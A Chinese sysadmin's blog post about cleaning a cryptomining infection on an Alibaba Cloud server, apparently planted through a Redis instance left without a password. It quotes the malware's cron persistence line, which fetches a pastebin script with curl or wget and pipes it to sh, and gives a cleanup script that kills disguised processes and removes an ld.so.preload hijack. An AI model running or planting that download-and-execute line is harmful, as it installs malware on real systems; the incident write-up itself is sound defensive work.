最近从2月17号开始一直收到阿里云的报警信息;
| 您的云服务器（120.78.158.127）由于被检测到对外攻击，已阻断该服务器对其它服务器端口（TCP:3389）的访问，阻断预计将在2019-03-19 11:46:21时间内结束，请及时进行安全自查。若有疑问，请工单或电话联系阿里云售后，感谢您对阿里云的支持。 |
crontab -l 查看定时任务发现有 */15 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh
明显是一段挖矿程序
redis也有一个Cache键里放着这个字段*/15 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh
所以我认为是我redis没设密码导致的，具体他是怎么通过redis来倾入，这个不得而知，后续再探究。
sed -i 删除指定任务
太强了有个脚本程序一直在执行echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh" >> /var/spool/cron/root
busyBox top 才能得到未被劫持的so执行程序。
#先要关掉crond,防止在清除过程中又开始下载脚本
service crond stop
# 删除劫持的libcset.so预加载动态链接库，隐藏病毒
# 清理异常进程
# 再次清理异常进程
# 清理开机启动项
杀毒代码合并ksoftirqds，kthrotlds，kpsmouseds，kintegrityds杀毒
service crond stop busyBox rm -f /etc/ld.so.preload busyBox rm -f /usr/local/lib/libcset.so chattr -i /etc/ld.so.preload busyBox rm -f /etc/ld.so.preload busyBox rm -f /usr/local/lib/libcset.so # 清理异常进程 busyBox ps -ef | busyBox grep -v grep | busyBox egrep ‘ksoftirqds‘ | busyBox awk ‘{print $1}‘ | busyBox xargs kill -9 busyBox ps -ef | busyBox grep -v grep | busyBox egrep ‘kthrotlds‘ | busyBox awk ‘{print $1}‘ | busyBox xargs kill -9 busyBox ps -ef | busyBox grep -v grep | busyBox egrep ‘kpsmouseds‘ | busyBox awk ‘{print $1}‘ | busyBox xargs kill -9 busyBox ps -ef | busyBox grep -v grep | busyBox egrep ‘kintegrityds‘ | busyBox awk ‘{print $1}‘ | busyBox xargs kill -9 busyBox rm -f /tmp/kthrotlds busyBox rm -f /tmp/kintegrityds busyBox rm -f /tmp/kpsmouseds busyBox rm -f /etc/cron.d/tomcat busyBox rm -f /etc/cron.d/root busyBox rm -f /var/spool/cron/root busyBox rm -f /var/spool/cron/crontabs/root busyBox rm -f /etc/rc.d/init.d/kthrotlds busyBox rm -f /etc/rc.d/init.d/kpsmouseds busyBox rm -f /etc/rc.d/init.d/kintegrityds busyBox rm -f /usr/sbin/kthrotlds busyBox rm -f /usr/sbin/kintegrityds busyBox rm -f /usr/sbin/kpsmouseds busyBox rm -f /etc/init.d/netdns ldconfig # 再次清理异常进程 busyBox ps -ef | busyBox grep -v grep | busyBox egrep ‘ksoftirqds‘ | busyBox awk ‘{print $1}‘ | busyBox xargs kill -9 busyBox ps -ef | busyBox grep -v grep | busyBox egrep ‘kthrotlds‘ | busyBox awk ‘{print $1}‘ | busyBox xargs kill -9 busyBox ps -ef | busyBox grep -v grep | busyBox egrep ‘kpsmouseds‘ | busyBox awk ‘{print $1}‘ | busyBox xargs kill -9 busyBox ps -ef | busyBox grep -v grep | busyBox egrep ‘kintegrityds‘ | busyBox awk ‘{print $1}‘ | busyBox xargs kill -9 # 清理开机启动项 chkconfig netdns off chkconfig –del netdns service crond start echo "Done,Please reboot!" # [email protected]
具体杀毒解析流程见：https://www.anquanke.com/post/id/172111